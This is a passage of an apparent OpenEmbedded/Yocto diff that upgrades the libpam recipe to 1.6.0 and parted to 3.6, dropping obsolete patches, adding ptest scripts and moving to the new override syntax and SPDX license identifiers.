-@@ -117,7 +118,7 @@ static const UNIX_Ctrls unix_args[UNIX_CTRLS_] =
- /* UNIX_AUTHTOK_TYPE */ {"authtok_type=", _ALL_ON_, 0100, 0},
- /* UNIX__PRELIM */ {NULL, _ALL_ON_^(0600), 0200, 0},
- /* UNIX__UPDATE */ {NULL, _ALL_ON_^(0600), 0400, 0},
--/* UNIX__NONULL */ {NULL, _ALL_ON_, 01000, 0},
-+/* UNIX__NONULL */ {NULL, _ALL_ON_^(02000000000), 01000, 0},
- /* UNIX__QUIET */ {NULL, _ALL_ON_, 02000, 0},
- /* UNIX_USE_AUTHTOK */ {"use_authtok", _ALL_ON_, 04000, 0},
- /* UNIX_SHADOW */ {"shadow", _ALL_ON_, 010000, 0},
-@@ -139,6 +140,7 @@ static const UNIX_Ctrls unix_args[UNIX_CTRLS_] =
- /* UNIX_QUIET */ {"quiet", _ALL_ON_, 01000000000, 0},
- /* UNIX_NO_PASS_EXPIRY */ {"no_pass_expiry", _ALL_ON_, 02000000000, 0},
- /* UNIX_DES */ {"des", _ALL_ON_^(0260420000), 0, 1},
-+/* UNIX_NULLOK_SECURE */ {"nullok_secure", _ALL_ON_^(01000), 02000000000, 0},
- };
-
- #define UNIX_DEFAULTS (unix_args[UNIX__NONULL].flag)
-@@ -172,6 +174,8 @@ extern int _unix_read_password(pam_handle_t * pamh
- ,const char *data_name
- ,const void **pass);
-
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh, const char *uttyname);
-+
- extern int _unix_run_verify_binary(pam_handle_t *pamh,
- unsigned int ctrl, const char *user, int *daysleft);
- #endif /* _PAM_UNIX_SUPPORT_H */
---
-2.4.0
-
diff --git a/meta/recipes-extended/pam/libpam/pam-volatiles.conf b/meta/recipes-extended/pam/libpam/pam-volatiles.conf
new file mode 100644
index 0000000000..1263feb03d
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/pam-volatiles.conf
@@ -0,0 +1 @@
+d /run/sepermit 0755 root root - -
diff --git a/meta/recipes-extended/pam/libpam/run-ptest b/meta/recipes-extended/pam/libpam/run-ptest
new file mode 100644
index 0000000000..9c304aee47
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/run-ptest
@@ -0,0 +1,32 @@
+#! /bin/sh
+
+cd tests
+
+export srcdir=.
+
+failed=0
+all=0
+for f in tst-*; do
+ "./$f" > /dev/null 2>&1
+ case "$?" in
+ 0)
+ echo "PASS: $f"
+ all=$((all + 1))
+ ;;
+ 77)
+ echo "SKIP: $f"
+ ;;
+ *)
+ echo "FAIL: $f"
+ failed=$((failed + 1))
+ all=$((all + 1))
+ ;;
+ esac
+done
+
+if [ "$failed" -eq 0 ] ; then
+ echo "All $all tests passed"
+else
+ echo "$failed of $all tests failed"
+fi
+unset srcdir
diff --git a/meta/recipes-extended/pam/libpam_1.3.1.bb b/meta/recipes-extended/pam/libpam_1.6.0.bb
index bc72afe6ad..e1ed940d1e 100644
--- a/meta/recipes-extended/pam/libpam_1.3.1.bb
+++ b/meta/recipes-extended/pam/libpam_1.6.0.bb
@@ -6,13 +6,13 @@ BUGTRACKER = "https://fedorahosted.org/linux-pam/newticket"
SECTION = "base"
# PAM is dual licensed under GPL and BSD.
# /etc/pam.d comes from Debian libpam-runtime in 2009-11 (at that time
-# libpam-runtime-1.0.1 is GPLv2+), by openembedded
-LICENSE = "GPLv2+ | BSD"
+# libpam-runtime-1.0.1 is GPL-2.0-or-later), by openembedded
+LICENSE = "GPL-2.0-or-later | BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=7eb5c1bf854e8881005d673599ee74d3 \
file://libpamc/License;md5=a4da476a14c093fdc73be3c3c9ba8fb3 \
"
-SRC_URI = "https://github.com/linux-pam/linux-pam/releases/download/v${PV}/Linux-PAM-${PV}.tar.xz \
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/Linux-PAM-${PV}.tar.xz \
file://99_pam \
file://pam.d/common-account \
file://pam.d/common-auth \
@@ -21,41 +21,46 @@ SRC_URI = "https://github.com/linux-pam/linux-pam/releases/download/v${PV}/Linux
file://pam.d/common-session-noninteractive \
file://pam.d/other \
file://libpam-xtests.patch \
- file://pam-security-abstract-securetty-handling.patch \
- file://pam-unix-nullok-secure.patch \
- file://crypt_configure.patch \
- "
+ file://run-ptest \
+ file://pam-volatiles.conf \
+ file://0001-pam_namespace-include-stdint-h.patch \
+ "
-SRC_URI[md5sum] = "558ff53b0fc0563ca97f79e911822165"
-SRC_URI[sha256sum] = "eff47a4ecd833fbf18de9686632a70ee8d0794b79aecb217ebd0ce11db4cd0db"
+SRC_URI[sha256sum] = "fff4a34e5bbee77e2e8f1992f27631e2329bcbf8a0563ddeb5c3389b4e3169ad"
-SRC_URI_append_libc-musl = " file://0001-Add-support-for-defining-missing-funcitonality.patch \
- file://include_paths_header.patch \
- "
-
-DEPENDS = "bison-native flex flex-native cracklib libxml2-native virtual/crypt"
+DEPENDS = "bison-native flex-native cracklib libxml2-native virtual/crypt"
EXTRA_OECONF = "--includedir=${includedir}/security \
--libdir=${base_libdir} \
+ --with-systemdunitdir=${systemd_system_unitdir} \
--disable-nis \
--disable-regenerate-docu \
+ --disable-doc \
--disable-prelude"
-CFLAGS_append = " -fPIC "
+CFLAGS:append = " -fPIC "
S = "${WORKDIR}/Linux-PAM-${PV}"
-inherit autotools gettext pkgconfig
+inherit autotools gettext pkgconfig systemd ptest github-releases
PACKAGECONFIG ??= ""
PACKAGECONFIG[audit] = "--enable-audit,--disable-audit,audit,"
PACKAGECONFIG[userdb] = "--enable-db=db,--enable-db=no,db,"
PACKAGES += "${PN}-runtime ${PN}-xtests"
-FILES_${PN} = "${base_libdir}/lib*${SOLIBS}"
-FILES_${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}"
-FILES_${PN}-runtime = "${sysconfdir}"
-FILES_${PN}-xtests = "${datadir}/Linux-PAM/xtests"
+FILES:${PN} = " \
+ ${base_libdir}/lib*${SOLIBS} \
+ ${nonarch_libdir}/tmpfiles.d/*.conf \
+"
+FILES:${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}"
+FILES:${PN}-runtime = "${sysconfdir} ${sbindir} ${systemd_system_unitdir}"
+FILES:${PN}-xtests = "${datadir}/Linux-PAM/xtests"
+
+# libpam installs /etc/environment for use with the pam_env plugin. Make sure it is
+# packaged with the pam-plugin-env package to avoid breaking installations which
+# install that file via other packages
+FILES:pam-plugin-env = "${sysconfdir}/environment"
PACKAGES_DYNAMIC += "^${MLPREFIX}pam-plugin-.*"
@@ -65,53 +70,45 @@ def get_multilib_bit(d):
libpam_suffix = "suffix${@get_multilib_bit(d)}"
-RPROVIDES_${PN} += "${PN}-${libpam_suffix}"
-RPROVIDES_${PN}-runtime += "${PN}-runtime-${libpam_suffix}"
+RPROVIDES:${PN} += "${PN}-${libpam_suffix}"
+RPROVIDES:${PN}-runtime += "${PN}-runtime-${libpam_suffix}"
-RDEPENDS_${PN}-runtime = "${PN}-${libpam_suffix} \
+RDEPENDS:${PN}-runtime = "${PN}-${libpam_suffix} \
${MLPREFIX}pam-plugin-deny-${libpam_suffix} \
${MLPREFIX}pam-plugin-permit-${libpam_suffix} \
${MLPREFIX}pam-plugin-warn-${libpam_suffix} \
${MLPREFIX}pam-plugin-unix-${libpam_suffix} \
"
-RDEPENDS_${PN}-xtests = "${PN}-${libpam_suffix} \
+RDEPENDS:${PN}-xtests = "${PN}-${libpam_suffix} \
${MLPREFIX}pam-plugin-access-${libpam_suffix} \
${MLPREFIX}pam-plugin-debug-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-cracklib-${libpam_suffix} \
${MLPREFIX}pam-plugin-pwhistory-${libpam_suffix} \
${MLPREFIX}pam-plugin-succeed-if-${libpam_suffix} \
${MLPREFIX}pam-plugin-time-${libpam_suffix} \
- coreutils"
+ bash coreutils"
# FIXME: Native suffix breaks here, disable it for now
-RRECOMMENDS_${PN} = "${PN}-runtime-${libpam_suffix}"
-RRECOMMENDS_${PN}_class-native = ""
-
-python populate_packages_prepend () {
- def pam_plugin_append_file(pn, dir, file):
- nf = os.path.join(dir, file)
- of = d.getVar('FILES_' + pn)
- if of:
- nf = of + " " + nf
- d.setVar('FILES_' + pn, nf)
+RRECOMMENDS:${PN} = "${PN}-runtime-${libpam_suffix}"
+RRECOMMENDS:${PN}:class-native = ""
+python populate_packages:prepend () {
def pam_plugin_hook(file, pkg, pattern, format, basename):
pn = d.getVar('PN')
libpam_suffix = d.getVar('libpam_suffix')
- rdeps = d.getVar('RDEPENDS_' + pkg)
+ rdeps = d.getVar('RDEPENDS:' + pkg)
if rdeps:
rdeps = rdeps + " " + pn + "-" + libpam_suffix
else:
rdeps = pn + "-" + libpam_suffix
- d.setVar('RDEPENDS_' + pkg, rdeps)
+ d.setVar('RDEPENDS:' + pkg, rdeps)
- provides = d.getVar('RPROVIDES_' + pkg)
+ provides = d.getVar('RPROVIDES:' + pkg)
if provides:
provides = provides + " " + pkg + "-" + libpam_suffix
else:
provides = pkg + "-" + libpam_suffix
- d.setVar('RPROVIDES_' + pkg, provides)
+ d.setVar('RPROVIDES:' + pkg, provides)
mlprefix = d.getVar('MLPREFIX') or ''
dvar = d.expand('${WORKDIR}/package')
@@ -121,24 +118,34 @@ python populate_packages_prepend () {
pam_pkgname = mlprefix + 'pam-plugin%s'
do_split_packages(d, pam_libdir, r'^pam(.*)\.so$', pam_pkgname,
- 'PAM plugin for %s', hook=pam_plugin_hook, extra_depends='')
- pam_plugin_append_file('%spam-plugin-unix' % mlprefix, pam_sbindir, 'unix_chkpwd')
- pam_plugin_append_file('%spam-plugin-unix' % mlprefix, pam_sbindir, 'unix_update')
- pam_plugin_append_file('%spam-plugin-tally' % mlprefix, pam_sbindir, 'pam_tally')
- pam_plugin_append_file('%spam-plugin-tally2' % mlprefix, pam_sbindir, 'pam_tally2')
- pam_plugin_append_file('%spam-plugin-timestamp' % mlprefix, pam_sbindir, 'pam_timestamp_check')
- pam_plugin_append_file('%spam-plugin-mkhomedir' % mlprefix, pam_sbindir, 'mkhomedir_helper')
- pam_plugin_append_file('%spam-plugin-console' % mlprefix, pam_sbindir, 'pam_console_apply')
+ 'PAM plugin for %s', hook=pam_plugin_hook, extra_depends='', prepend=True)
do_split_packages(d, pam_filterdir, r'^(.*)$', 'pam-filter-%s', 'PAM filter for %s', extra_depends='')
}
+do_compile_ptest() {
+ cd tests
+ sed -i -e 's/$(MAKE) $(AM_MAKEFLAGS) check-TESTS//' Makefile
+ oe_runmake check-am
+ cd -
+}
+
do_install() {
autotools_do_install
# don't install /var/run when populating rootfs. Do it through volatile
rm -rf ${D}${localstatedir}
- install -d ${D}${sysconfdir}/default/volatiles
- install -m 0644 ${WORKDIR}/99_pam ${D}${sysconfdir}/default/volatiles
+
+ if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','false','true',d)}; then
+ rm -rf ${D}${sysconfdir}/init.d/
+ rm -rf ${D}${sysconfdir}/rc*
+ install -d ${D}${nonarch_libdir}/tmpfiles.d
+ install -m 0644 ${WORKDIR}/pam-volatiles.conf \
+ ${D}${nonarch_libdir}/tmpfiles.d/pam.conf
+ else
+ install -d ${D}${sysconfdir}/default/volatiles
+ install -m 0644 ${WORKDIR}/99_pam \
+ ${D}${sysconfdir}/default/volatiles/
+ fi
install -d ${D}${sysconfdir}/pam.d/
install -m 0644 ${WORKDIR}/pam.d/* ${D}${sysconfdir}/pam.d/
@@ -149,20 +156,36 @@ do_install() {
if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
echo "session optional pam_systemd.so" >> ${D}${sysconfdir}/pam.d/common-session
fi
+ if ${@bb.utils.contains('DISTRO_FEATURES','usrmerge','false','true',d)}; then
+ install -d ${D}/${libdir}/
+ mv ${D}/${base_libdir}/pkgconfig ${D}/${libdir}/
+ fi
+}
+
+do_install_ptest() {
+ mkdir -p ${D}${PTEST_PATH}/tests
+ install -m 0755 ${B}/tests/.libs/* ${D}${PTEST_PATH}/tests
+ install -m 0644 ${S}/tests/confdir ${D}${PTEST_PATH}/tests
+}
+
+pkg_postinst:${PN}() {
+ if [ -z "$D" ] && [ -e /etc/init.d/populate-volatile.sh ] ; then
+ /etc/init.d/populate-volatile.sh update
+ fi
}
inherit features_check
-REQUIRED_DISTRO_FEATURES = "pam"
+ANY_OF_DISTRO_FEATURES = "pam systemd"
BBCLASSEXTEND = "nativesdk native"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-session"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-auth"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-password"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-account"
-CONFFILES_${PN}-runtime += "${sysconfdir}/security/limits.conf"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-auth"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-password"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive"
+CONFFILES:${PN}-runtime += "${sysconfdir}/pam.d/common-account"
+CONFFILES:${PN}-runtime += "${sysconfdir}/security/limits.conf"
-UPSTREAM_CHECK_URI = "https://github.com/linux-pam/linux-pam/releases"
+GITHUB_BASE_URI = "https://github.com/linux-pam/linux-pam/releases"
CVE_PRODUCT = "linux-pam"
diff --git a/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch b/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch
deleted file mode 100644
index 829c0c8b78..0000000000
--- a/meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From ddbefd80d74c3baaae328332458db447e1666240 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 27 Apr 2017 16:37:24 +0300
-Subject: [PATCH] Move python helper scripts (used only in tests) to Python 3
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- tests/gpt-header-move | 2 +-
- tests/msdos-overlap | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/tests/gpt-header-move b/tests/gpt-header-move
-index 3dda5cb..a2b9508 100755
---- a/tests/gpt-header-move
-+++ b/tests/gpt-header-move
-@@ -1,4 +1,4 @@
--#!/usr/bin/python
-+#!/usr/bin/env python3
-
- # open img file, subtract 33 from altlba address, and move the last 33 sectors
- # back by 33 sectors
-diff --git a/tests/msdos-overlap b/tests/msdos-overlap
-index d6ae8d6..2c6747b 100755
---- a/tests/msdos-overlap
-+++ b/tests/msdos-overlap
-@@ -1,4 +1,4 @@
--#!/usr/bin/python
-+#!/usr/bin/env python3
- """
- Write an overlapping partition to a msdos disk
-
diff --git a/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch b/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch
new file mode 100644
index 0000000000..10354f1ed9
--- /dev/null
+++ b/meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch
@@ -0,0 +1,34 @@
+From 1fc88332f7e906294fd889287b9e84cefc7f1586 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 12 Jun 2023 10:40:07 -0700
+Subject: [PATCH] fs: Add libuuid to linker flags for libparted-fs-resize
+ library
+
+This library uses uuid_generate function which comes from libuuid and
+hence it should be mentioned on linker cmdline
+
+fixes
+| aarch64-yoe-linux-ld.lld: error: undefined reference due to --no-allow-shlib-undefined: uuid_generate
+| >>> referenced by /mnt/b/yoe/master/build/tmp/work/cortexa72-cortexa53-crypto-yoe-linux/fatresize/1.1.0-r0/recipe-sysroot/usr/lib/libparted-fs-resize.so
+
+Upstream-Status: Submitted [https://alioth-lists.debian.net/pipermail/parted-devel/2023-June/005873.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libparted/fs/Makefile.am | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am
+index 2f345f3..a8970eb 100644
+--- a/libparted/fs/Makefile.am
++++ b/libparted/fs/Makefile.am
+@@ -75,6 +75,7 @@ libparted_fs_resize_la_LDFLAGS = \
+ EXTRA_DIST += fsresize.sym
+ libparted_fs_resize_la_DEPENDENCIES = $(sym_file)
+
++libparted_fs_resize_la_LIBADD = $(UUID_LIBS)
+ libparted_fs_resize_la_SOURCES = \
+ r/filesys.c \
+ r/fat/bootsector.c \
+--
+2.41.0
+
diff --git a/meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch b/meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch
deleted file mode 100644
index 4dc2ab259d..0000000000
--- a/meta/recipes-extended/parted/files/0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From d60a8a86f6593738b5324ccd8fe3e6d84a1fe7bc Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 11 Dec 2019 14:18:36 +0100
-Subject: [PATCH] libparted/fs: add $sourcedir/lib to include paths
-
-Otherwise, getopt-pfx-core.h won't be found.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- libparted/fs/Makefile.am | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am
-index 286bff6..65f45d3 100644
---- a/libparted/fs/Makefile.am
-+++ b/libparted/fs/Makefile.am
-@@ -3,7 +3,7 @@
- #
- # This file may be modified and/or distributed without restriction.
-
--partedincludedir = -I$(top_builddir)/include -I$(top_srcdir)/include
-+partedincludedir = -I$(top_builddir)/include -I$(top_srcdir)/include -I$(top_srcdir)/lib
-
- AM_CFLAGS = $(WARN_CFLAGS)
-
diff --git a/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch b/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch
deleted file mode 100644
index bd2b5c55b1..0000000000
--- a/meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 5c99d7e4c2b5e7a957dc922aff03debfebbd6154 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@googlemail.com>
-Date: Fri, 3 Mar 2017 21:49:15 +0100
-Subject: [PATCH] libparted_fs_resize: link against libuuid explicitly to
- unbreak gold linking on test
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-| ../libparted/fs/.libs/libparted-fs-resize.so: error: undefined reference to 'uuid_generate'
-
-Upstream-Status: Pending
-
-Signed-off-by: Andreas Müller <schnitzeltony@googlemail.com>
----
- libparted/fs/Makefile.am | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/libparted/fs/Makefile.am b/libparted/fs/Makefile.am
-index d3cc8bc..c301b0b 100644
---- a/libparted/fs/Makefile.am
-+++ b/libparted/fs/Makefile.am
-@@ -113,6 +113,8 @@ libparted_fs_resize_la_SOURCES = \
- r/hfs/reloc_plus.c \
- r/hfs/reloc_plus.h
-
-+libparted_fs_resize_la_LIBADD = $(UUID_LIBS)
-+
- AM_CPPFLAGS = \
- -I$(top_srcdir)/libparted/labels \
- $(partedincludedir) \
---
-2.9.3
-
diff --git a/meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch b/meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch
deleted file mode 100644
index 9524adf7b8..0000000000
--- a/meta/recipes-extended/parted/files/0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch
+++ /dev/null
@@ -1,66 +0,0 @@
-From 9f844484cedb39e301b016e9da7852c1a0fb6eea Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 11 Dec 2019 16:27:48 +0100
-Subject: [PATCH] tests: use skip_ rather than skip_test_ (which is undefined)
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- tests/t6001-psep.sh | 2 +-
- tests/t6004-dm-many-partitions.sh | 2 +-
- tests/t6005-dm-uuid.sh | 2 +-
- tests/t6006-dm-512b-sectors.sh | 2 +-
- 4 files changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/tests/t6001-psep.sh b/tests/t6001-psep.sh
-index e350bd2..67014a0 100644
---- a/tests/t6001-psep.sh
-+++ b/tests/t6001-psep.sh
-@@ -21,7 +21,7 @@
- require_root_
- require_udevadm_settle_
-
--(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed"
-+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed"
-
- # Device maps names - should be random to not conflict with existing ones on
- # the system
-diff --git a/tests/t6004-dm-many-partitions.sh b/tests/t6004-dm-many-partitions.sh
-index b4be975..7214f60 100755
---- a/tests/t6004-dm-many-partitions.sh
-+++ b/tests/t6004-dm-many-partitions.sh
-@@ -21,7 +21,7 @@
-
- require_root_
- require_udevadm_settle_
--(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed"
-+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed"
-
- ss=$sector_size_
- ns=300
-diff --git a/tests/t6005-dm-uuid.sh b/tests/t6005-dm-uuid.sh
-index 4266747..4790a8b 100755
---- a/tests/t6005-dm-uuid.sh
-+++ b/tests/t6005-dm-uuid.sh
-@@ -21,7 +21,7 @@
-
- require_root_
- require_udevadm_settle_
--(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed"
-+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed"
-
- ss=$sector_size_
- ns=300
-diff --git a/tests/t6006-dm-512b-sectors.sh b/tests/t6006-dm-512b-sectors.sh
-index bf32135..b679adb 100644
---- a/tests/t6006-dm-512b-sectors.sh
-+++ b/tests/t6006-dm-512b-sectors.sh
-@@ -25,7 +25,7 @@ require_scsi_debug_module_
- grep '^#define USE_BLKID 1' "$CONFIG_HEADER" > /dev/null ||
- skip_ 'this system lacks a new-enough libblkid'
-
--(dmsetup --help) > /dev/null 2>&1 || skip_test_ "No dmsetup installed"
-+(dmsetup --help) > /dev/null 2>&1 || skip_ "No dmsetup installed"
-
- # Device maps names - should be random to not conflict with existing ones on
- # the system
diff --git a/meta/recipes-extended/parted/files/autoconf-2.73.patch b/meta/recipes-extended/parted/files/autoconf-2.73.patch
new file mode 100644
index 0000000000..63dea88bfc
--- /dev/null
+++ b/meta/recipes-extended/parted/files/autoconf-2.73.patch
@@ -0,0 +1,22 @@
+The gnulib largefile macro needs updating to work with autoconf 2.73. Rather
+than the full code:
+
+https://git.savannah.gnu.org/cgit/gnulib.git/commit/m4/largefile.m4?id=f91f633858cf132e50924224c50d6264a92caabb
+
+Just tweak the exiting code to work with 2.73. The next parted upgrade should
+update to new gnulib
+
+Upstream-Status: Inappropriate
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+--- a/m4/largefile.m4
++++ b/m4/largefile.m4
+@@ -27,7 +27,7 @@ AC_DEFUN([gl_SET_LARGEFILE_SOURCE],
+ # Work around a problem in autoconf <= 2.69:
+ # AC_SYS_LARGEFILE does not configure for large inodes on Mac OS X 10.5,
+ # or configures them incorrectly in some cases.
+-m4_version_prereq([2.70], [], [
++m4_version_prereq([2.73], [], [
+
+ # _AC_SYS_LARGEFILE_TEST_INCLUDES
+ # -------------------------------
diff --git a/meta/recipes-extended/parted/files/no_check.patch b/meta/recipes-extended/parted/files/no_check.patch
deleted file mode 100644
index e6a26d11a5..0000000000
--- a/meta/recipes-extended/parted/files/no_check.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
-If check is detected, it makes the builds non-determinstic so just force
-it to be disabled.
-
-RP - 4/11/08
-
-Index: parted-3.2/configure.ac
-===================================================================
---- parted-3.2.orig/configure.ac
-+++ parted-3.2/configure.ac
-@@ -555,7 +555,7 @@ AC_CHECK_HEADER([execinfo.h], [
- AM_CONDITIONAL([COMPILE_FOR_S390], [test "$host_cpu" = s390 || test "$host_cpu" = s390x])
-
- dnl check for "check", unit testing library/header
--PKG_CHECK_MODULES([CHECK], [check >= 0.9.3], have_check=yes, have_check=no)
-+have_check=no
- if test "$have_check" != "yes"; then
- AC_MSG_RESULT([Unable to locate check version 0.9.3 or higher: not building])
- fi
diff --git a/meta/recipes-extended/parted/files/run-ptest b/meta/recipes-extended/parted/files/run-ptest
index f39c478ce6..096078967f 100644
--- a/meta/recipes-extended/parted/files/run-ptest
+++ b/meta/recipes-extended/parted/files/run-ptest
@@ -1,5 +1,7 @@
#!/bin/sh
-echo /dev/sda1 >> /etc/udev/mount.blacklist.d/parted-tmp
+mkdir -p /etc/udev/mount.ignorelist.d
+echo /dev/sda1 >> /etc/udev/mount.ignorelist.d/parted-tmp
+rm -f tests/*.log
make -C tests test-suite.log
-rm /etc/udev/mount.blacklist.d/parted-tmp
+rm /etc/udev/mount.ignorelist.d/parted-tmp
diff --git a/meta/recipes-extended/parted/parted_3.3.bb b/meta/recipes-extended/parted/parted_3.6.bb
index aa4d8042cf..a537ef74db 100644
--- a/meta/recipes-extended/parted/parted_3.3.bb
+++ b/meta/recipes-extended/parted/parted_3.6.bb
@@ -1,27 +1,26 @@
SUMMARY = "Disk partition editing/resizing utility"
HOMEPAGE = "http://www.gnu.org/software/parted/parted.html"
-LICENSE = "GPLv3+"
+DESCRIPTION = "GNU Parted manipulates partition tables. This is useful for creating space for new operating systems, reorganizing disk usage, copying data on hard disks and disk imaging."
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=2f31b266d3440dd7ee50f92cf67d8e6c"
SECTION = "console/tools"
-DEPENDS = "ncurses readline util-linux virtual/libiconv"
+DEPENDS = "ncurses util-linux virtual/libiconv"
SRC_URI = "${GNU_MIRROR}/parted/parted-${PV}.tar.xz \
- file://no_check.patch \
file://fix-doc-mandir.patch \
- file://0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch \
- file://0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch \
+ file://0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch \
+ file://autoconf-2.73.patch \
file://run-ptest \
- file://0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch \
- file://0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch \
"
-SRC_URI[md5sum] = "090655d05f3c471aa8e15a27536889ec"
-SRC_URI[sha256sum] = "57e2b4bd87018625c515421d4524f6e3b55175b472302056391c5f7eccb83d44"
-
-EXTRA_OECONF = "--disable-device-mapper"
+SRC_URI[sha256sum] = "3b43dbe33cca0f9a18601ebab56b7852b128ec1a3df3a9b30ccde5e73359e612"
inherit autotools pkgconfig gettext texinfo ptest
+PACKAGECONFIG ?= "readline"
+PACKAGECONFIG[device-mapper] = "--enable-device-mapper,--disable-device-mapper,libdevmapper lvm2"
+PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
+
BBCLASSEXTEND = "native nativesdk"
do_compile_ptest() {
@@ -34,20 +33,24 @@ do_install_ptest() {
cp ${S}/build-aux/test-driver $t/build-aux/
cp -r ${S}/tests $t
cp ${B}/tests/Makefile $t/tests/
+ mkdir $t/lib
+ cp ${B}/lib/config.h $t/lib
sed -i "s|^VERSION.*|VERSION = ${PV}|g" $t/tests/Makefile
sed -i "s|^srcdir =.*|srcdir = \.|g" $t/tests/Makefile
sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" $t/tests/Makefile
- sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = \.\.|g" $t/tests/Makefile
+ sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = "${PTEST_PATH}"|g" $t/tests/Makefile
+ sed -i "s|^abs_top_builddir =.*|abs_top_builddir = "${PTEST_PATH}"|g" $t/tests/Makefile
sed -i "s|^Makefile:.*|Makefile:|g" $t/tests/Makefile
+ sed -i "/^BUILDINFO.*$/d" $t/tests/Makefile
for i in print-align print-max print-flags dup-clobber duplicate fs-resize; \
do cp ${B}/tests/.libs/$i $t/tests/; \
done
sed -e 's| ../parted||' -i $t/tests/*.sh
}
-RDEPENDS_${PN}-ptest = "bash coreutils perl util-linux-losetup python3 make gawk e2fsprogs-mke2fs"
-
-RDEPENDS_${PN}-ptest_append_libc-glibc = "\
+RDEPENDS:${PN}-ptest = "bash coreutils perl util-linux-losetup util-linux-mkswap python3 make gawk e2fsprogs-mke2fs e2fsprogs-tune2fs python3-core dosfstools"
+RRECOMMENDS:${PN}-ptest += "kernel-module-scsi-debug kernel-module-loop kernel-module-vfat"
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
glibc-utils \
locale-base-en-us \
"
@@ -55,5 +58,5 @@ RDEPENDS_${PN}-ptest_append_libc-glibc = "\
inherit update-alternatives
